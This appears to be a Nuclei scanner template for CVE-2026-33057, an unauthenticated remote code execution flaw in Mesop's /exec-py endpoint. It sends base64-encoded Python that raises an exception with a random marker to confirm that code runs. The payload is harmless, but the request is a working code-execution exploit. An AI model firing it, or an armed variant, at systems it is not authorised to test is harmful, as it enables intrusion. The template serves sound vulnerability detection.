Mesop AI Sandbox <= 1.2.2 - Remote Code Execution

id: CVE-2026-33057

info:
  name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
  author: sammiee5311,liyander
  severity: critical
  description: |
    Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.
  impact: |
    Attackers can execute arbitrary commands on the host, leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.3 or later.
  reference:
    - https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33057
    epss-score: 0.12897
    epss-percentile: 0.94181
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: mesop-dev
    product: mesop
    shodan-query: html:"Mesop"
  tags: cve,cve2026,mesop,rce,oss

variables:
  marker: "{{rand_base(16)}}"
  payload: '{{replace(replace(base64(concat("raise Exception(\"", marker, "\")")), "+", "-"), "/", "_")}}'

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<title>Mesop")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /exec-py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        code={{payload}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 500
# digest: 4a0a004730450221009dab4523a8543ec702f748e5d7e9c5265f10088ba585d96705db5c48c2a1daf2022057b8880a2262a478ac37e87fd5bc9642e172ce516aa7417c276cf152fc9196f3:922c64590222798bb761d5b6d8e72950